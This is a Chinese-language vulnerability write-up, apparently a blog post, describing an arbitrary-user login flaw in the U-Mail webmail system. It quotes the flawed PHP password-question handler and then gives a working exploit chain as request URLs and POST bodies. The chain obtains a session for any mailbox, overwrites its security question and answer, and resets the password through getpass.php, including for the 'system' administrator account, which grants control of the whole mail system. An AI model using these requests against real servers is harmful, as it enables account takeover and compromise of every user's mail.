U-Mail邮件系统任意用户登录漏洞

漏洞文件 /fast/option/module/o_password.php
if ( ACTION == "question" )

{

		$url = "/webmail/fast/option/index.php?module=view&action=password";

		$where = "UserID='".$user_id."'";

		$data = array(

				"question" => gss( $_POST['question'] ),

				"answer" => gss( $_POST['answer'] )

		);

		$result = $Mailbox->update_info( $data, $where, 0 );//直接将获得的用户数据进行了update

		$msg = $result ? "" : "修改密码提示问题时出现错误,修改失败!";

		redirect( $url, $msg );

}

?>
找回密码过程是,首先提交要获得密码的用户名,获得一个phpsessid,如图
http://mail.fuck.com/webmail/fast/index.php?module=operate&action=login post数据为mailbox=test0001@fuck.com&link=? 
然后访问该方法,更新用户的密码提示问题和答案 http://mail.fuck.com/webmail/fast/option/index.php?module=operate&action=question post数据为 question=hello&answer=tom改为自己设置的密码问题即可 然后执行找回密码方法,请求为 http://mail.fuck.com/webmail/getpass.php post数据为 email=test0001%40fuck.com&question=hello&answer=tom&update=%E7%A1%AE%E8%AE%A4 quest 这是找回任意普通用户的密码,由于管理员system也在该表里,所以我们可以将第一个请求换成mailbox=system@fuck.com&link=?,然后更新其密保问题,然后找回密码即可,如图 quest2 数据库为 quest3 quest4 其中,得到管理员密码后,http://mail.fuck.com/webmail/admin/ 在此处登录,登录即可操作整个邮箱系统,如图 quest5

发表评论